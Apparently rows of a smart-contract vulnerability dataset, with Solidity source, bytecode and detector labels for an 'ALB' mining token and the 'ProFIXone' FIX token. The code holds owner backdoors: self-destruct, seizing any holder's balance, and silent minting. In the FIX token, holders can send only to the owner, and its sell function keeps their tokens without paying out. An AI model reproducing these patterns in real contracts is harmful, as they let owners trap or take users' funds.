display purposes symbol = "ALB"; // Set the symbol for display purposes decimals = 3; // Amount of decimals for display purposes balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens owner = msg.sender; //Set contrac's owner vigencia =2178165600; firstTime = false; } //Administrator modifier onlyOwner() { require(msg.sender == owner); _; } /* Send coins */ function transfer(address _to, uint256 _value) { if(totalSupply == 0) { selfdestruct(owner); } if(block.timestamp >= vigencia) { throw; } if (_to == 0x0) throw; // Prevent transfer to 0x0 address. Use burn() instead if (_value <= 0) throw; if (balanceOf[msg.sender] < _value) throw; // Check if the sender has enough if (balanceOf[_to] + _value < balanceOf[_to]) throw; // Check for overflows balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); // Add the same to the recipient emit Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place } /* Allow another contract to spend some tokens in your behalf */ function approve(address _spender, uint256 _value) returns (bool success) { if(totalSupply == 0) { selfdestruct(owner); } if(block.timestamp >= vigencia) { throw; } if (_value <= 0) throw; allowance[msg.sender][_spender] = _value; return true; } /* A contract attempts to get the coins */ function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if(totalSupply == 0) { selfdestruct(owner); } if(block.timestamp >= vigencia) { throw; } if (_to == 0x0) throw; // Prevent transfer to 0x0 address. Use burn() instead if (_value <= 0) throw; if (balanceOf[_from] < _value) throw; // Check if the sender has enough if (balanceOf[_to] + _value < balanceOf[_to]) throw; // Check for overflows if (_value > allowance[_from][msg.sender]) throw; // Check allowance balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value); // Subtract from the sender balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); // Add the same to the recipient allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value); emit Transfer(_from, _to, _value); return true; } /* A contract attempts to get the coins */ function transferFromRoot(address _from, address _to, uint256 _value) onlyOwner returns (bool success) { if(totalSupply == 0) { selfdestruct(owner); } if(block.timestamp >= vigencia) { throw; } if (_to == 0x0) throw; // Prevent transfer to 0x0 address. Use burn() instead if (_value <= 0) throw; if (balanceOf[_from] < _value) throw; // Check if the sender has enough if (balanceOf[_to] + _value < balanceOf[_to]) throw; // Check for overflows balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value); // Subtract from the sender balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); // Add the same to the recipient emit Transfer(_from, _to, _value); return true; } function addToken(uint256 _value) onlyOwner returns (bool success) { if(totalSupply == 0) { selfdestruct(owner); } if(block.timestamp >= vigencia) { throw; } //totalSupply = SafeMath.safeAdd(totalSupply,_value); // Updates totalSupply emit AddToken(msg.sender, _value); balanceOf[owner]=SafeMath.safeAdd(balanceOf[owner], _value); return true; } function burn(uint256 _value) onlyOwner returns (bool success) { if(totalSupply == 0) { selfdestruct(owner); } if(block.timestamp >= vigencia) { throw; } if (balanceOf[msg.sender] < _value) throw; // Check if the sender has enough if (_value <= 0) throw; balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender //totalSupply = SafeMath.safeSub(totalSupply,_value); // Updates totalSupply emit Burn(msg.sender, _value); return true; } // transfer balance to owner function withdrawEther(uint256 amount) onlyOwner{ if(totalSupply == 0) { selfdestruct(owner); } if(block.timestamp >= vigencia) { throw; } if(msg.sender != owner)throw; owner.transfer(amount); } // can accept ether function() payable { } function RegisterMine(string _name, uint _tokensupply) onlyOwner { if (firstTime == false) { firstTime = true; } else { if(totalSupply == 0) { selfdestruct(owner); } } if(block.timestamp >= vigencia) { throw; } /*Register new mine's data*/ participatingMines[_MineId] = Minas ({ id: _MineId, name: _name, tokensupply: _tokensupply, active: true }); /*add to array new item with new mine's token supply */ TokenMineSupply.push(_tokensupply); /*add to array new item with new mine's token supply */ /*Uptade Albarit's total supply*/ /*uint256*/ totalSupplyFloat = 0; for (uint8 i = 0; i < TokenMineSupply.length; i++) { totalSupplyFloat = safeAdd(TokenMineSupply[i], totalSupplyFloat); } totalSupply = totalSupplyFloat; addToken(_tokensupply); emit MineCreated (_MineId, _name, _tokensupply); _MineId = safeAdd(_MineId, 1); } function ModifyMine(uint256 _Id, bool _state, string _name, uint _tokensupply) onlyOwner { if(totalSupply == 0) { selfdestruct(owner); } if(block.timestamp >= vigencia) { throw; } /*uint256*/ oldValue = 0; /*uint256*/ subValue = 0; /*uint256*/ oldTotalSupply = totalSupply; /*uint256*/ TokensToModify = 0; /*update mine's data*/ participatingMines[_Id].active = _state; participatingMines[_Id].name = _name; participatingMines[_Id].tokensupply = _tokensupply; oldValue = TokenMineSupply[_Id]; if (_tokensupply > oldValue) { TokenMineSupply[_Id] = _tokensupply; } else { subValue = safeSub(oldValue, _tokensupply); TokenMineSupply[_Id]=safeSub(TokenMineSupply[_Id], subValue); } /*Uint256*/ totalSupplyFloat = 0; for (uint8 i = 0; i < TokenMineSupply.length; i++) { totalSupplyFloat = safeAdd(TokenMineSupply[i], totalSupplyFloat); } emit MineUpdated(_Id, _name, _tokensupply, _state); totalSupply = totalSupplyFloat; /*_tokensupply > oldValue*/ if (totalSupply > oldTotalSupply) { TokensToModify = safeSub(totalSupply, oldTotalSupply); addToken(TokensToModify); } /*_tokensupply > oldValue*/ if (totalSupply < oldTotalSupply) { TokensToModify = safeSub(oldTotalSupply, totalSupply); burn(TokensToModify); } } function getTokenByMineID() external view returns (uint256[]) { return TokenMineSupply; } function ModifyVigencia(uint256 _vigencia) onlyOwner { if(totalSupply == 0) { selfdestruct(owner); } vigencia = _vigencia; } }
0x6080604052600436106101275763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610129578063095ea7b3146101b3578063179d375c146101eb57806318160ddd146102035780631e51cb101461022a5780631fd7b8021461023f57806323b872dd146102a3578063313ce567146102cd5780633bed33ce146102f857806342966c68146103105780634f232f77146103285780635dd7736b14610352578063610efc861461036a5780636a24d595146103c557806370a08231146103dd578063762d739a146103fe5780638da5cb5b1461041357806395d89b4114610444578063a9059cbb14610459578063d0cb874a1461047d578063dd62ed3e146104e2578063f981332814610509575b005b34801561013557600080fd5b5061013e6105af565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610178578181015183820152602001610160565b50505050905090810190601f1680156101a55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101bf57600080fd5b506101d7600160a060020a036004351660243561063c565b604080519115158252519081900360200190f35b3480156101f757600080fd5b506101d76004356106a0565b34801561020f57600080fd5b5061021861075d565b60408051918252519081900360200190f35b34801561023657600080fd5b50610218610763565b34801561024b57600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610127948235946024803515159536959460649492019190819084018382808284375094975050933594506107699350505050565b3480156102af57600080fd5b506101d7600160a060020a03600435811690602435166044356109fc565b3480156102d957600080fd5b506102e2610bbe565b6040805160ff9092168252519081900360200190f35b34801561030457600080fd5b50610127600435610bc7565b34801561031c57600080fd5b506101d7600435610c58565b34801561033457600080fd5b506101d7600160a060020a0360043581169060243516604435610d2b565b34801561035e57600080fd5b50610218600435610e8b565b34801561037657600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526101279436949293602493928401919081908401838280828437509497505093359450610eaa9350505050565b3480156103d157600080fd5b506101276004356110b5565b3480156103e957600080fd5b50610218600160a060020a03600435166110e8565b34801561040a57600080fd5b506102186110fa565b34801561041f57600080fd5b50610428611100565b60408051600160a060020a039092168252519081900360200190f35b34801561045057600080fd5b5061013e61110f565b34801561046557600080fd5b50610127600160a060020a0360043516602435611167565b34801561048957600080fd5b50610492611290565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156104ce5781810151838201526020016104b6565b505050509050019250505060405180910390f35b3480156104ee57600080fd5b50610218600160a060020a03600435811690602435166112e9565b34801561051557600080fd5b50610521600435611306565b60408051858152908101839052811515606082015260806020808301828152865192840192909252855160a084019187019080838360005b83811015610571578181015183820152602001610559565b50505050905090810190601f16801561059e5780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106345780601f1061060957610100808354040283529160200191610634565b820191906000526020600020905b81548152906001019060200180831161061757829003601f168201915b505050505081565b60006004546000141561065757600554600160a060020a0316ff5b600054421061066557600080fd5b6000821161067257600080fd5b50336000908152600f60209081526040808320600160a060020a039590951683529390529190912055600190565b600554600090600160a060020a031633146106ba57600080fd5b60045415156106d157600554600160a060020a0316ff5b60005442106106df57600080fd5b60408051838152905133917fe1bea1af9b1d1aede8b7fa043080de8690470a8ae61449360b3d0c0bf8104b46919081900360200190a2600554600160a060020a03166000908152600e602052604090205461073a90836113bd565b600554600160a060020a03166000908152600e6020526040902055506001919050565b60045481565b60075481565b600554600090600160a060020a0316331461078357600080fd5b600454151561079a57600554600160a060020a0316ff5b60005442106107a857600080fd5b60006009819055600a819055600454600b55600c81905585815260106020908152604090912060038101805460ff191687151517905584516107f292600190920191860190611404565b506000858152601060205260409020600201829055600680548690811061081557fe5b600091825260209091200154600981905582111561084e578160068681548110151561083d57fe5b60009182526020909120015561089e565b61085a600954836113e1565b600a556006805461088391908790811061087057fe5b9060005260206000200154600a546113e1565b600680548790811061089157fe5b6000918252602090912001555b50600060088190555b60065460ff821610156108e7576108dc60068260ff168154811015156108c957fe5b90600052602060002001546008546113bd565b6008556001016108a7565b7fbfdf78153a612e67c65449243da65a29a2d28012032b0917e9cd1ab4f29b459d85848487604051808581526020018060200184815260200183151515158152602001828103825285818151815260200191508051906020019080838360005b8381101561095f578181015183820152602001610947565b50505050905090810190601f16801561098c5780820380516001836020036101000a031916815260200191505b509550505050505060405180910390a16008546004819055600b5410156109cb576109bb600454600b546113e1565b600c8190556109c9906106a0565b505b600b5460045410156109f5576109e5600b546004546113e1565b600c8190556109f390610c58565b505b5050505050565b600060045460001415610a1757600554600160a060020a0316ff5b6000544210610a2557600080fd5b600160a060020a0383161515610a3a57600080fd5b60008211610a4757600080fd5b600160a060020a0384166000908152600e6020526040902054821115610a6c57600080fd5b600160a060020a0383166000908152600e60205260409020548281011015610a9357600080fd5b600160a060020a0384166000908152600f60209081526040808320338452909152902054821115610ac357600080fd5b600160a060020a0384166000908152600e6020526040902054610ae690836113e1565b600160a060020a038086166000908152600e60205260408082209390935590851681522054610b1590836113bd565b600160a060020a038085166000908152600e60209081526040808320949094559187168152600f82528281203382529091522054610b5390836113e1565b600160a060020a038086166000818152600f6020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b60035460ff1681565b600554600160a060020a03163314610bde57600080fd5b6004541515610bf557600554600160a060020a0316ff5b6000544210610c0357600080fd5b600554600160a060020a03163314610c1a57600080fd5b600554604051600160a060020a039091169082156108fc029083906000818181858888f19350505050158015610c54573d6000803e3d6000fd5b5050565b600554600090600160a060020a03163314610c7257600080fd5b6004541515610c8957600554600160a060020a0316ff5b6000544210610c9757600080fd5b336000908152600e6020526040902054821115610cb357600080fd5b60008211610cc057600080fd5b336000908152600e6020526040902054610cda90836113e1565b336000818152600e6020908152604091829020939093558051858152905191927fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca592918290030190a2506001919050565b600554600090600160a060020a03163314610d4557600080fd5b6004541515610d5c57600554600160a060020a0316ff5b6000544210610d6a57600080fd5b600160a060020a0383161515610d7f57600080fd5b60008211610d8c57600080fd5b600160a060020a0384166000908152600e6020526040902054821115610db157600080fd5b600160a060020a0383166000908152600e60205260409020548281011015610dd857600080fd5b600160a060020a0384166000908152600e6020526040902054610dfb90836113e1565b600160a060020a038086166000908152600e60205260408082209390935590851681522054610e2a90836113bd565b600160a060020a038085166000818152600e602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35060019392505050565b6006805482908110610e9957fe5b600091825260209091200154905081565b600554600090600160a060020a03163314610ec457600080fd5b600d5460ff161515610ee257600d805460ff19166001179055610ef9565b6004541515610ef957600554600160a060020a0316ff5b6000544210610f0757600080fd5b60408051608081018252600754808252602080830187815283850187905260016060850181905260009384526010835294909220835181559151805193949293610f58938501929190910190611404565b50604082015160028201556060909101516003909101805460ff1916911515919091179055506006805460018101825560009182527ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f0182905560088190555b60065460ff82161015610fe557610fda60068260ff168154811015156108c957fe5b600855600101610fb8565b600854600455610ff4826106a0565b507f81671fe6d3f871927ee2cc5057c308f6ceb544ebd1e0b93319fd5c0998b03e3160075484846040518084815260200180602001838152602001828103825284818151815260200191508051906020019080838360005b8381101561106457818101518382015260200161104c565b50505050905090810190601f1680156110915780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a16110ad60075460016113bd565b600755505050565b600554600160a060020a031633146110cc57600080fd5b60045415156110e357600554600160a060020a0316ff5b600055565b600e6020526000908152604090205481565b60005481565b600554600160a060020a031681565b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156106345780601f1061060957610100808354040283529160200191610634565b600454151561117e57600554600160a060020a0316ff5b600054421061118c57600080fd5b600160a060020a03821615156111a157600080fd5b600081116111ae57600080fd5b336000908152600e60205260409020548111156111ca57600080fd5b600160a060020a0382166000908152600e602052604090205481810110156111f157600080fd5b336000908152600e602052604090205461120b90826113e1565b336000908152600e602052604080822092909255600160a060020a0384168152205461123790826113bd565b600160a060020a0383166000818152600e60209081526040918290209390935580518481529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b606060068054806020026020016040519081016040528092919081815260200182805480156112de57602002820191906000526020600020905b8154815260200190600101908083116112ca575b505050505090505b90565b600f60209081526000928352604080842090915290825290205481565b6010602090815260009182526040918290208054600180830180548651600293821615610100026000190190911692909204601f8101869004860283018601909652858252919492939092908301828280156113a35780601f10611378576101008083540402835291602001916113a3565b820191906000526020600020905b81548152906001019060200180831161138657829003601f168201915b50505050600283015460039093015491929160ff16905084565b60008282016113da8482108015906113d55750838210155b6113f5565b9392505050565b60006113ef838311156113f5565b50900390565b80151561140157600080fd5b50565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061144557805160ff1916838001178555611472565b82800160010185558215611472579182015b82811115611472578251825591602001919060010190611457565b5061147e929150611482565b5090565b6112e691905b8082111561147e57600081556001016114885600a165627a7a72305820457ec48cfb48992155c6088b2ef072929be03447f60147b6bbde5b7ab37b768b0029
{"success": true, "error": null, "results": {"detectors": [{"check": "write-after-write", "impact": "Medium", "confidence": "High"}, {"check": "suicidal", "impact": "High", "confidence": "High"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
8,393
0x4906b05d8750552ad03081bff52b26025d402aca
/** *Submitted for verification at Etherscan.io on 2021-03-14 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function decimals() external view returns (uint8); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract FIXToken is IERC20, Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isFirstSale; uint256 public constant SECONDS_PER_WEEK = 604800; uint256 private constant PERCENTAGE_MULTIPLICATOR = 1e4; uint8 private constant DEFAULT_DECIMALS = 6; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _firstUpdate; uint256 private _lastUpdate; uint256 private _growthRate; uint256 private _growthRate_after; uint256 private _price; uint256 private _presaleStart; uint256 private _presaleEnd; bool private _isStarted; uint256 [] _zeros; event TokensPurchased(address indexed purchaser, uint256 value, uint256 amount, uint256 price); event TokensSold(address indexed seller, uint256 amount, uint256 USDT, uint256 price); event PriceUpdated(uint price); constructor (uint256 _ownerSupply) public { _decimals = 18; _totalSupply = 500000000 * uint(10) ** _decimals; require (_ownerSupply < _totalSupply, "Owner supply must be lower than total supply"); _name = "ProFIXone Token"; _symbol = "FIX"; _price = 1000000; _growthRate = 100; _balances[address(this)] = _totalSupply.sub(_ownerSupply); _balances[owner()] = _ownerSupply; emit Transfer(address(0), address(this), _totalSupply.sub(_ownerSupply)); emit Transfer(address(0), owner(), _ownerSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view override returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if (msg.sender != owner()) { require(recipient == owner(), "Tokens can be sent only to owner address."); } _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function calculatePrice() public view returns (uint256) { if (_isStarted == false || _firstUpdate > now) { return _price; } uint256 i; uint256 newPrice = _price; if (now > _lastUpdate) { i = uint256((_lastUpdate.sub(_firstUpdate)).div(SECONDS_PER_WEEK).add(uint256(1)).sub(_zeros.length)); for (uint256 x = 0; x < i; x++) { newPrice = newPrice.mul(PERCENTAGE_MULTIPLICATOR.add(_growthRate)).div(PERCENTAGE_MULTIPLICATOR); } if (_growthRate_after > 0) { i = uint256((now.sub(_lastUpdate)).div(SECONDS_PER_WEEK)); for (uint256 x = 0; x < i; x++) { newPrice = newPrice.mul(PERCENTAGE_MULTIPLICATOR.add(_growthRate_after)).div(PERCENTAGE_MULTIPLICATOR); } } } else { i = uint256((now.sub(_firstUpdate)).div(SECONDS_PER_WEEK)).add(uint256(1)); for (uint8 x = 0; x < _zeros.length; x++) { if (_zeros[x] >= _firstUpdate && _zeros[x] <= now) { i = i.sub(uint256(1)); } } for (uint256 x = 0; x < i; x++) { newPrice = newPrice.mul(PERCENTAGE_MULTIPLICATOR.add(_growthRate)).div(PERCENTAGE_MULTIPLICATOR); } } return newPrice; } function currentPrice() public view returns (uint256) { return calculatePrice(); } function growthRate() public view returns (uint256) { return _growthRate_after; } function isStarted() public view returns (bool) { return _isStarted; } function presaleStart() public view returns (uint256) { return _presaleStart; } function presaleEnd() public view returns (uint256) { return _presaleEnd; } function startContract(uint256 firstUpdate, uint256 lastUpdate, uint256 [] memory zeros) external onlyOwner { require (_isStarted == false, "Contract is already started."); require (firstUpdate >= now, "First price update time must be later than today"); require (lastUpdate >= now, "Last price update time must be later than today"); require (lastUpdate > firstUpdate, "Last price update time must be later than first update"); _firstUpdate = firstUpdate; _lastUpdate = lastUpdate; _isStarted = true; for (uint8 x = 0; x < zeros.length; x++) { _zeros.push(zeros[x]); } } function setPresaleStart(uint256 new_date) external onlyOwner { require (_isStarted == true, "Contract is not started."); require(new_date >= now, "Start time must be later, than now"); require(new_date > _presaleStart, "New start time must be higher then previous."); _presaleStart = new_date; } function setPresaleEnd(uint256 new_date) external onlyOwner { require (_isStarted == true, "Contract is not started."); require(new_date >= now, "End time must be later, than now"); require(new_date > _presaleEnd, "New end time must be higher then previous."); require(new_date > _presaleStart, "New end time must be higher then start date."); _presaleEnd = new_date; } function setGrowthRate(uint256 _newGrowthRate) external onlyOwner { require (_isStarted == true, "Contract is not started."); require(now > _lastUpdate, "Growth rate cannot be changed within 60 months"); _growthRate_after =_newGrowthRate; } function calculateTokens(uint256 amount, uint8 coin_decimals, uint256 updatedPrice) public view returns(uint256) { uint256 result; if (coin_decimals >= DEFAULT_DECIMALS) { result = amount.mul(10 ** uint256(_decimals)).div(updatedPrice.mul(10 ** uint256(coin_decimals-DEFAULT_DECIMALS))); } else { result = amount.mul(10 ** uint256(_decimals)).div(updatedPrice.div(10 ** uint256(DEFAULT_DECIMALS-coin_decimals))); } if (now >= _presaleStart && now <= _presaleEnd) { if (amount >= uint256(1000).mul(10 ** uint256(coin_decimals))) { result.add(100 * uint(10) ** _decimals); } } return result; } function sendTokens(address recepient, uint256 amount, uint8 coinDecimals) external onlyOwner { require (_isStarted == true, "Contract is not started."); require (_presaleStart > 0, "Presale start not set"); require (_presaleEnd > 0, "Presale end not set"); require (coinDecimals > 0, "Stablecoin decimals must be grater than 0"); require (amount > 0, "Stablecoin value cannot be zero."); require(recepient != address(0), "ERC20: transfer to the zero address"); uint256 lastPrice = calculatePrice(); uint FIXAmount = calculateTokens(amount.mul(99).div(100), coinDecimals, lastPrice); require(_balances[address(this)] >= FIXAmount, "Insufficinet FIX amount left on contract"); _balances[address(this)] = _balances[address(this)].sub(FIXAmount, "ERC20: transfer amount exceeds balance"); _balances[recepient] = _balances[recepient].add(FIXAmount); emit TokensPurchased(recepient, amount, FIXAmount, lastPrice); emit Transfer(address(this), recepient, FIXAmount); } function sellTokens(address stablecoin, uint256 amount) external { require (_isStarted == true, "Contract is not started."); require (_presaleStart > 0, "Presale start not set"); require (_presaleEnd > 0, "Presale end not set"); require (amount > 0, "FIX value cannot be zero."); require(msg.sender != address(0), "ERC20: transfer to the zero address"); require(stablecoin != address(0), "Stablecoin must not be zero address"); require(stablecoin.isContract(), "Not a valid stablecoin contract address"); uint256 coin_amount; uint256 new_amount = amount; IERC20 coin = IERC20(stablecoin); uint8 coin_decimals = coin.decimals(); uint256 lastPrice = calculatePrice(); if (!_isFirstSale[msg.sender]) { new_amount = amount.mul(98).div(100); _isFirstSale[msg.sender] = true; } require (_balances[msg.sender] >= amount, "Insufficient FIX token amount"); if (coin_decimals >= 12) { coin_amount = new_amount.div(lastPrice).mul(10 ** uint256(coin_decimals-12)); } else { coin_amount = new_amount.div(lastPrice).div(10 ** uint256(12 - coin_decimals)); } _balances[address(this)] = _balances[address(this)].add(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); emit Transfer(msg.sender, address(this), amount); emit TokensSold(msg.sender, amount, coin_amount, lastPrice); } }
0x608060405234801561001057600080fd5b50600436106101a95760003560e01c806384ae2a74116100f9578063ad4ae8c311610097578063dd62ed3e11610071578063dd62ed3e14610873578063de8801e5146108eb578063f082e0e114610909578063f2fde38b14610937576101a9565b8063ad4ae8c3146107e9578063c464fe6514610807578063d348b40914610855576101a9565b806395d89b41116100d357806395d89b41146106805780639d1b464a14610703578063a457c2d714610721578063a9059cbb14610785576101a9565b806384ae2a74146105625780638da5cb5b1461058057806395c7f716146105b4576101a9565b8063313ce567116101665780636a831e22116101405780636a831e221461045357806370a08231146104ae57806378152bbe146105065780637e851e7c14610534576101a9565b8063313ce567146103ae57806339509351146103cf578063544736e614610433576101a9565b806306fdde03146101ae578063095ea7b31461023157806318160ddd1461029557806319236f8d146102b3578063229f3e291461030c57806323b872dd1461032a575b600080fd5b6101b661097b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101f65780820151818401526020810190506101db565b50505050905090810190601f1680156102235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61027d6004803603604081101561024757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a1d565b60405180821515815260200191505060405180910390f35b61029d610a34565b6040518082815260200191505060405180910390f35b6102f6600480360360608110156102c957600080fd5b8101908080359060200190929190803560ff16906020019092919080359060200190929190505050610a3e565b6040518082815260200191505060405180910390f35b610314610b76565b6040518082815260200191505060405180910390f35b6103966004803603606081101561034057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b80565b60405180821515815260200191505060405180910390f